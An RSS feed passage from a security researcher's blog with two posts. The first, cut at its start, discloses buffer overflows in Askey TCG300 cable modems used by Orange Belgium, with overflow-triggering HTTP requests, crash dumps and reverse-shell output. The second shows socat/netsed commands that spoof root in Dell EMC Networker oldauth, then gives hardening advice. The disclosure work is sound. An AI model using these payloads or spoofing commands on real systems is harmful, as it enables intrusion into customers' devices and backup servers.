the web administration interface. It affects a form handler that expects
a list of URLs that should be blocked by parental controls.&lt;/p&gt;

&lt;p&gt;It’s possible to trigger a stack overflow by sending an HTTP request
such as the one displayed below. Sending the request will trigger a crash, with a detailed crash log provided by eCOS over serial.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /goform/AskParentalControl HTTP/1.1
Host: 192.168.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 132
Content-Type: application/x-www-form-urlencoded

urlList0=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The vulnerability is triggered at offset 0x803f4d44 when a call to
strncat is made with user controlled input and user controlled length.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/insecure_strncat.png&quot; alt=&quot;insecure strncat&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we can see in the excerpt below, the return address (PC) has been overwritten with our payload (&lt;em&gt;0x41414141&lt;/em&gt;).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;******************** CRASH ********************

Image Name: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
Image Path: /home/nick_hsu/Release/1_Orange/CHE1440F_Orange_VOO_v11_20170630/
rbb_cm_src/CmDocsisSystem/ecos/CHE1440F_D22F

Exception code/type: 4 / Address error (load/fetch)    TP0

r0/zero=00000000 r1/at  =00005a00 r2/v0  =00000001 r3/v1  =00000001
r4/a0  =867eef2c r5/a1  =00000000 r6/a2  =00000002 r7/a3  =81390000
r8/t0  =8dcc6d00 r9/t1  =8dcc6d00 r10/t2 =00000002 r11/t3 =00002300
r12/t4 =00000000 r13/t5 =0d004156 r14/t6 =53000100 r15/t7 =0003e800
r16/s0 =41414141 r17/s1 =41414141 r18/s2 =41414141 r19/s3 =41414141
r20/s4 =41414141 r21/s5 =41414141 r22/s6 =41414141 r23/s7 =41414141
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =805199b4 r27/k1 =80e2f864
r28/gp =81971b10 r29/sp =86703fd0 r30/fp =00000001 r31/ra =41414141

PC   : 0x41414141    error addr: 0x41414141
cause: 0x00000010    status:     0x1000d703

BCM interrupt enable: 20000100, status: 00000000
Bad PC.  Using RA for trace.
Bad PC or SP.  Can't trace the stack.

Current thread = 86706004
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We have developed a stable exploit that will get the attacker a reverse
shell on the device. The exploit overwrites the return address and
follows a ROP chain that gets the device to connect to an arbitrary
server.&lt;/p&gt;

&lt;p&gt;The server returns a second stage payload that is copied in
memory by the ROP chain before it executes it by making the program
counter points to that address. Please note that this exploit works
whether console I/O is enabled or not. This means it will work on
production modems deployed by Orange Belgium.&lt;/p&gt;

&lt;p&gt;In the excerpt below, we send the exploitation request:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python auth_exploit.py -u admin -p cnEv5fuV
[+] Login successful. Sending exploit payload.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While in this one, we have our callback server that serves the second
stage and obtain a reverse shell on the device:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python server.py
[+] Trying to bind to 0.0.0.0 on port 2049: Done
[+] Waiting for connections on 0.0.0.0:2049:
[+] Got connection from 192.168.22.1 on port 1031
[+] Got connection. Sending payload.
[*] Switching to interactive mode
$ help
!               ?               REM             call            cd             
dir             find_command    help            history         instances      
ls              man             pwd             sleep           syntax         
system_time     usage           
----
btcp            con_high        cpuLoad         cpuUtilization  exit           
mbufShow        memShow         mutex_debug     ping            read_memory    
reset           routeShow       run_app         shell           socket_debug   
stackShow       taskDelete      taskInfo        taskPrioritySet taskResume     
taskShow        taskSuspend     taskSuspendAll  taskTrace       version        
write_memory    zone            
----
[80211_hal] [Console] [HeapManager] [HostDqm] [cablemedea] [eRouter] 
[embedded_target] [enet_hal] [fam] [forwarder] [ftpLite] [httpClient] 
[ip_hal] [itc_hal] [msgLog] [non-vol] [pingHelper] [power] [snmp] [snoop] 
[tr69] 
$  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;heap-buffer-overflows&quot;&gt;Heap Buffer Overflows&lt;/h4&gt;

&lt;p&gt;We identified another type of memory corruption, this time reachable
from an unauthenticated user perspective.&lt;/p&gt;

&lt;p&gt;When parsing the HTTP Host header, the device makes an insecure copy to
the heap, which leads to heap corruption. This corruption can be
triggered by sending the HTTP request displayed below.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET / HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sending the request will trigger a crash, with a detailed crash log provided by eCOS over serial.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;******************** CRASH ********************

Image Name: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
Image Path: /home/nick_hsu/Release/1_Orange/CHE1440F_Orange_VOO_v11_20170630/
rbb_cm_src/CmDocsisSystem/ecos/CHE1440F_D22F  

Exception code/type: 4 / Address error (load/fetch)    TP0

r0/zero=00000000 r1/at  =00000000 r2/v0  =81390000 r3/v1  =00000001
r4/a0  =00000020 r5/a1  =00000000 r6/a2  =00000000 r7/a3  =00000000
r8/t0  =00000001 r9/t1  =41414141 r10/t2 =00000009 r11/t3 =0000000b
r12/t4 =00000001 r13/t5 =41414141 r14/t6 =41414141 r15/t7 =41414141
r16/s0 =41414135 r17/s1 =867065a8 r18/s2 =867064c0 r19/s3 =86e9d320
r20/s4 =86704810 r21/s5 =867065a8 r22/s6 =86704838 r23/s7 =11110017
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =00000006 r27/k1 =00000006
r28/gp =81971b10 r29/sp =86704420 r30/fp =86704920 r31/ra =80016c5c

PC   : 0x80016c68    error addr: 0x41414139
cause: 0x00000010    status:     0x1000d703

BCM interrupt enable: 20000100, status: 20000000
Instruction at PC: 0x8e030004
iCache Instruction at PC: 0x00000000

entry 80016bf0    called from 800049d8
entry 800049d0    called from 80ea3b14
entry 80ea3b08    called from 80ea3b30
entry 80ea3b28    called from 80020cd8
entry 80020cb4    called from 8002201c
entry 8002200c    called from 8043860c
entry 804382e8  Return address (41414141) invalid or not found.  Trace stops.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We also turned this corruption into a stable exploit that connects back
to an arbitrary server. Due to the lack of public tools to reverse
engineer Broadcom eCOS firmwares (yet), all we can say is that the
corruption happens when manipulating BcmHeapManager MemoryNode objects
at offset 0x80016bf0. The function responsible for parsing HTTP request
making insecure memory copies starts at offset 0x804382e8.&lt;/p&gt;

&lt;h3 id=&quot;remote-exploitation&quot;&gt;Remote Exploitation&lt;/h3&gt;

&lt;p&gt;With a few &lt;a href=&quot;https://www.shodan.io/search?query=http.favicon.hash:-1710631084+org:&amp;quot;Orange+Belgium&amp;quot;&quot;&gt;exceptions&lt;/a&gt;, Orange Belgium cable modems web
administration interface is not directly exposed to the public Internet
and can only be reached from customers local area network.&lt;/p&gt;

&lt;p&gt;However, attackers could target the device &lt;strong&gt;while connected to the
wireless guest network&lt;/strong&gt; and gain the ability to cross boundaries
between the guest and private networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Under specific conditions, attackers could also target cable modems
over the Internet&lt;/strong&gt; by getting customers to open a malicious web page.
The malicious web page would execute JavaScript code exploiting the
buffer overflow to gain remote code execution. To do so, the malicious
code would need to bypass two security mechanisms: Same-origin
Policy, and enforced authentication.&lt;/p&gt;

&lt;p&gt;We discovered that affected devices are vulnerable to &lt;a href=&quot;https://en.wikipedia.org/wiki/DNS_rebinding&quot;&gt;DNS rebinding
attacks&lt;/a&gt;, which can be used to bypass the Same-origin policy. To
bypass authentication, the attacker would need to be able to guess or
derive the device’s password (we did not identify ways to do so, but
it’s not &lt;a href=&quot;https://quentinkaiser.be/security/2021/03/09/voodoo/&quot;&gt;unheard of&lt;/a&gt; or to get its victim to have established an
authenticated session onto the device web administration interface
during the day. As you might have noticed, the web interface does not
keep track of opened session with a session cookie but simply links the
client IP with an authenticated session.&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;In this report, we successfully demonstrated that the web administration
panel of Askey TCG300 devices is vulnerable to different kinds of buffer
overflows.&lt;/p&gt;

&lt;p&gt;By exploiting these vulnerabilities, attackers could fully compromise
Orange Belgium cable modems by just being connected to the (guest)
network or, under very specific conditions, over the Internet by
targeting an Orange Belgium subscriber.&lt;/p&gt;

&lt;h4 id=&quot;side-note-on-compal&quot;&gt;Side Note on Compal&lt;/h4&gt;

&lt;p&gt;We did not look at the Compal cable modem provided by Orange Belgium.
However, we can say with medium to high confidence that they are highly
unlikely to be affected by the exact same issues. While Askey devices
run on eCOS, most components of Compal appears to be running on Linux.&lt;/p&gt;

&lt;h3 id=&quot;proof-of-concepts&quot;&gt;Proof-of-Concepts&lt;/h3&gt;

&lt;p&gt;All proof-of-concepts and exploit code can be found in ecos.wtf Github
repo &lt;a href=&quot;https://github.com/ecos-wtf/ecosploits&quot;&gt;ecosploits&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Sun, 25 Apr 2021 06:00:00 +0000</pubDate>
        <link>https://quentinkaiser.be/security/2021/04/25/orange/</link>
        <guid isPermaLink="true">https://quentinkaiser.be/security/2021/04/25/orange/</guid>
      </item>
    
      <item>
        <title>Dell EMC Networker - oldauth is not auth !</title>
        <description>&lt;p&gt;In a previous life I came upon Dell EMC Networker in different environments and found different ways to exploit the nsrexecd daemon in similar ways than &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2017-8023/&quot;&gt;CVE-2017-8023&lt;/a&gt;, without ever being 100% sure that it indeed was that specific CVE. The CVE description clearly mentions “unauthenticated remote code execution vulnerability in the Networker Client execution service (nsrexecd) &lt;strong&gt;when oldauth authentication method is used&lt;/strong&gt;”, so I decided to investigate Networker authentication mechanisms by the end of 2020.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/backup_stacks_by_jaymis_cc_by_20.jpg&quot; alt=&quot;&amp;quot;Backup Stacks&amp;quot; by Jaymis is licensed with CC BY 2.0.&quot; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;EMC NetWorker (formerly Legato NetWorker) is an enterprise-level data protection software product that unifies and automates backup to tape, disk-based, and flash-based storage media across physical and virtual environments for granular and disaster recovery. Cross-platform support is provided for Linux, Windows, macOS, NetWare, OpenVMS and Unix environments.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In this article, we’ll cover the different authentication mechanisms implemented by Networker (oldauth and nsrauth) and explain in details why relying on oldauth is the worst decision you can make when deploying Dell EMC Networker.&lt;/p&gt;

&lt;p&gt;Understanding the weaknesses of oldauth will help us in a second article where I’ll discuss different ways to gain unauthenticated remote command execution on Dell EMC Networker Server.&lt;/p&gt;

&lt;h3 id=&quot;emc-networker-authentication-primer&quot;&gt;EMC Networker Authentication Primer&lt;/h3&gt;

&lt;p&gt;Dell EMC Networker RPC service supports two different authentication mechanisms:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;oldauth&lt;/strong&gt; - legacy authentication mechanism, kept for backward compatibility&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;nsrauth&lt;/strong&gt; - newer authentication mechanism, with its own flaws&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both mechanisms are supported by default, with an administrator attribute limiting access to the following users:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;on a UNIX or Linux host, any root user from any host&lt;/li&gt;
  &lt;li&gt;on a Windows host, any user in the administrators group from any host&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We confirmed this in our lab by printing the administrator attribute on a Linux and a Windows host:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nsradmin&amp;gt; print
    type: NSR log;
    administrator: root,
    &quot;user=root,host=networker-server&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nsradmin&amp;gt; print
    type: NSR log;
    administrator: Administrators,
    &quot;group=Administrators,host=desktop-4o00s9d&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These authentication mechanisms protects the RPC daemon named &lt;strong&gt;nsrexecd&lt;/strong&gt;, which can be called to execute commands. From the nsrexec manual page:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The  nsrexec  command  is run only by other NetWorker commands. It is used to remotely execute commands on NetWorker clients running nsrexecd, and also to monitor the progress of those commands.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This description is misleading given that nsrexecd runs on every EMC Networker component (server, client, and storage node). I’d also like to point out that by “commands”, they mean “networker commands” and not “arbitrary commands”. Networker commands are a limited subset of Networker binaries such as &lt;em&gt;savefs&lt;/em&gt; or &lt;em&gt;savegrp&lt;/em&gt;.&lt;/p&gt;

&lt;h3 id=&quot;oldauth-authentication-mechanism&quot;&gt;oldauth Authentication Mechanism&lt;/h3&gt;

&lt;p&gt;Oldauth authentication mechanism is more of an identification mechanism in that the client just has to state that it is a specific user for the server to trust them. When oldauth is used, the user identifier of the local user executing the Networker client is transmitted as a 32 bit integer in the first RPC request.&lt;/p&gt;

&lt;p&gt;The hexdump below is an RPC call to nsr_render_log, with the user identifier highlighted. We see that the user id is 0x000003e8 (1000 decimal), which is the default identifier of the first non-root user created on Linux&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/oldauth_userid_1.png&quot; alt=&quot;Networker RPC request sent by uid=1000&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If the request is sent out by the root user, we see the user identifier is now 0x00000000 (0 decimal), which is the default user identifier of the root user on Linux:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/oldauth_userid_root.png&quot; alt=&quot;Networker RPC request sent by root user&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The same mechanism is used by Windows hosts, although the user numbering changes. If the request is sent by a user that is not a member of the Administrators group, the user identifier is set to ‘1’ (0x00000001).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/oldauth_windows_non_admin.png&quot; alt=&quot;Networker RPC request sent from Windows by normal user&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If the request is sent by a user that is a member of the Administrators group, the user identifier is set to ‘0’ (0x00000000), which coincidentally matches the root user id.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/oldauth_windows_admin.png&quot; alt=&quot;Networker RPC request sent from Windows by Administrators member&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Demonstrating that this is how Networker authenticates users with oldauth can be done with socat and netsed placed between a Networker client running as an unprivileged user and a remote Networker server.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/oldauth_patching_diagram.png&quot; alt=&quot;oldauth_patching_diagram.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Launching socat as a simple TCP forwarder and netsed with a match and replace rule to replace the user identifier 0x03e8 with user identifier 0x0000.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;socat -v -v -v TCP4-LISTEN:7938,reuseaddr,fork TCP:192.168.121.4:7938
netsed tcp 7937 192.168.121.4 7937 s/%03%e8/%00%00 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;live-patching-rpc-requests-linux-server&quot;&gt;Live Patching RPC Requests (Linux Server)&lt;/h4&gt;

&lt;p&gt;If we send an RPC request directly to the remote server, we get a permission refused:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;EXPORT RCMD='nsr_render_log /nsr/logs/daemon.raw'
./nsrexec -c 192.168.121.4
145843:nsr_render_log: Unable to open log file 'daemon.raw': Permission refused
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we send the request through our “patcher host”, the remote server genuinely think we are root and provide us with the file content we requested through RPC:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;EXPORT RCMD='nsr_render_log /nsr/logs/daemon.raw'
./nsrexec -c 192.168.121.1
101040 22/02/21 13:32:43  1 3 0 2795517760 4001 0 networker-server nsrexecd RAP notice
---snip---
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When the request goes through, we can see netsed patching the user identifier:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;netsed tcp 7937 192.168.121.4 7937 s/%03%e8/%00%00 
netsed 1.2 by Julien VdG &amp;lt;julien@silicone.homelinux.org&amp;gt;
      based on 0.01c from Michal Zalewski &amp;lt;lcamtuf@ids.pl&amp;gt;
[*] Parsing rule s/%03%e8/%00%00...
[+] Loaded 1 rule...
[+] Using fixed forwarding to 192.168.121.4,7937.
[+] Listening on port 7937/tcp.
[+] Got incoming connection from 192.168.121.140,38493 to 192.168.121.1,7937
[*] Forwarding connection to 192.168.121.4,7937
[+] Caught client -&amp;gt; server packet.
    Applying rule s/%03%e8/%00%00...
    Applying rule s/%03%e8/%00%00...
    Applying rule s/%03%e8/%00%00...
    Applying rule s/%03%e8/%00%00...
[*] Done 4 replacements, forwarding packet of size 164 (orig 164).
--snip--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;live-patching-rpc-requests-windows-server&quot;&gt;Live Patching RPC Requests (Windows Server)&lt;/h4&gt;

&lt;p&gt;If we send an RPC request directly to the remote server, we get a permission refused:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Jane Doe&amp;gt;set RCMD=nsr_render_log &quot;C:\Program Files\EMC NetWorker\nsr\logs\daemon.raw&quot;
C:\Users\Jane Doe&amp;gt;nsrexec -c 192.168.121.182
90475:nsrexecd: User 'uid1' cannot request a command execution.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we send the request through our “patcher host”, the remote server genuinely think we are a member of Administrators group and provide us with the file content we requested through RPC:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Jane Doe&amp;gt;set RCMD=nsr_render_log &quot;C:\Program Files\EMC NetWorker\nsr\logs\daemon.raw&quot;
C:\Users\Jane Doe&amp;gt;nsrexec -c 192.168.121.1
101040 22/02/21 13:32:43  1 3 0 2795517760 4001 0 networker-server nsrexecd RAP notice
--snip--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When the request goes through, we can see netsed patching the user identifier:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;netsed tcp 7937 192.168.121.182 7937 s/%00%00%00%01%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe/%00%00%00%00%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe
netsed 1.2 by Julien VdG &amp;lt;julien@silicone.homelinux.org&amp;gt;
      based on 0.01c from Michal Zalewski &amp;lt;lcamtuf@ids.pl&amp;gt;
[*] Parsing rule s/%00%00%00%01%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe/%00%00%00%00%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe...
[+] Loaded 1 rule...
[+] Using fixed forwarding to 192.168.121.182,7937.
[+] Listening on port 7937/tcp.
[+] Got incoming connection from 192.168.121.30,65130 to 192.168.121.1,7937
[*] Forwarding connection to 192.168.121.182,7937
[+] Caught client -&amp;gt; server packet.
    Applying rule s/%00%00%00%01%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe/%00%00%00%00%ff%ff%ff%fe%00%00%00%01%ff%ff%ff%fe...
[*] Done 1 replacements, forwarding packet of size 188 (orig 188).
[+] Caught server -&amp;gt; client packet.
[*] Forwarding untouched packet of size 36.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The key takeaway here is that oldauth implements &lt;strong&gt;identification&lt;/strong&gt; rather than authentication.&lt;/p&gt;

&lt;h3 id=&quot;nsrauth-authentication-mechanism&quot;&gt;nsrauth Authentication Mechanism&lt;/h3&gt;

&lt;p&gt;The official documentation states that&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;NetWorker hosts and daemons use the nsrauth mechanism to authenticate components and users, and to verify hosts. The nsrauth GSS authentication mechanism is a strong authentication that is based on the Secure Sockets Layer (SSL) protocol.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The nsrexecd service on each NetWorker host provides the component authentication services. The first time the nsrexecd process starts on a host, the process creates the following unique credentials for the host:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;2048-bit RSA private key&lt;/li&gt;
  &lt;li&gt;1024-bit RSA private key, for backward compatibility&lt;/li&gt;
  &lt;li&gt;self-signed certificate or public key&lt;/li&gt;
  &lt;li&gt;NW Instance ID&lt;/li&gt;
  &lt;li&gt;hostname&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When a NetWorker host starts a session connection to another host, the following (simplified) steps occur:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;an RPC session is initialized&lt;/li&gt;
  &lt;li&gt;the client send its certificate Common Name to the server&lt;/li&gt;
  &lt;li&gt;the server send its certificate Common Name to the client&lt;/li&gt;
  &lt;li&gt;the client send its certificate in PEM format&lt;/li&gt;
  &lt;li&gt;the server send its certificate in PEM format&lt;/li&gt;
  &lt;li&gt;a mutually authenticated SSL/TLS session is established using the exchanged certificates and corresponding keys&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/nsrauth_rpc_ssl.png&quot; alt=&quot;nsrauth session establishment diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The exchanged common names and certificates are actually checked against each peer NSR Peer Information database, and only the matched certificate in that database will be trusted when establishing the mutually authenticated SSL/TLS session. If no information is present in that database, EMC Networker peers go into TOFU (Trust On First Use) mode, by trusting that certificate and saving it in its database for future use.&lt;/p&gt;

&lt;p&gt;The diagram below presents the different authentication checks that are performed prior to establishing the session:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/nsrauth_tofu.png&quot; alt=&quot;Trust on First Use in nsrauth&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The risk related to Trust On First Use is only mentioned in Dell EMC Networker &lt;a href=&quot;https://www.delltechnologies.com/en-us/collaterals/unauth/technical-guides-support-information/products/data-protection/docu89911.pdf&quot;&gt;Security Configuration Guide&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;When a NetWorker host begins a connection with another host for the first time, NetWorker automatically creates an NSR Peer Information resource for the beginning host in the nsrexec database on the target host. NetWorker uses the information that is contained in the NSR Peer Information resource to verify the identity of the beginning host on subsequent authentication attempts. Manually create the NSR Peer Information resource on the target client before the two hosts communicate for the first time, to eliminate the possibility that an attacker could compromise this process.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;a-difficult-security-baseline&quot;&gt;A difficult security baseline&lt;/h2&gt;

&lt;p&gt;Now that we have covered each authentication mechanism and their respective flaws, we can define what should be the minimum security baseline for a Dell EMC Networker deployment. This is quite complex because there are multiple layers to it, sometimes executing kind of the same job, for example:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;IP allow-list in NSRLA ‘auth methods’ field limit the source IP from which an RPC request can be received&lt;/li&gt;
  &lt;li&gt;A file (&lt;em&gt;/nsr/res/servers&lt;/em&gt; on Linux, &lt;em&gt;C:\Program Files\EMC NetWorker\nsr\res\servers&lt;/em&gt; on Windows) can be used to define a list of trusted hosts from which RPC requests can be received&lt;/li&gt;
  &lt;li&gt;the NSRLA administrators list contains a list of users. If a user is explicitly linked to a hostname, the daemon supposedly execute a reverse DNS lookup to make sure the request comes from the right host. If a hostname is not set, the daemon accepts RPC request from any host as long as they claim the right username, considering it’s allowed by the allow-list&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For a Networker system to be fully protected against abuse, the following should be true &lt;strong&gt;for all hosts&lt;/strong&gt; running a Networker component:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;only nsrauth is enabled, oldauth is explicitly forbidden in NSRLA ‘auth methods’ field&lt;/li&gt;
  &lt;li&gt;IP allow-listing is enforced (either in NSRLA ‘auth methods’ or ‘servers’ file) on Networker nodes (I’d recommend: trusted host can contact servers, servers can contact clients and storage node, deny everything else)&lt;/li&gt;
  &lt;li&gt;user accounts in the administrator list should be explicitly linked to a host, get rid of usernames without a hostname&lt;/li&gt;
  &lt;li&gt;NSR Peer Information, including certificates, are provisioned on all Networker hosts (clients, storage nodes, servers)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This leaves plenty of room for attackers in real world deployment, especially when we know that the &lt;strong&gt;default configuration of Networker components allow the oldauth mechanism from any source IP&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Backup systems is the holy grail to attackers given they contain all the sensitive information from backed up hosts without the need to compromise them in the first place. Relying on identification mechanisms rather than strong authentication for a service that let’s you interact with these backup systems was a bad design decision that probably still affects lots of Networker deployments.&lt;/p&gt;

&lt;p&gt;I fully understand the pain of backup systems administrators that have to support systems built when Solaris and rsh was all the rage, but I hope this piece will help everyone understand the risk and convince you to put mitigations in place. You don’t even need to implement everything right now ! You can start by
allow-listing source IPs, then review the authorized users lists, then slowly move the infrastructure to nsrauth rather than oldauth.&lt;/p&gt;

&lt;p&gt;Dell, maybe stop releasing versions with oldauth supported and 0.0.0.0/0 as allow-list ? I know you do for AWS cloud deployments of Networker since version 19.4 :)&lt;/p&gt;

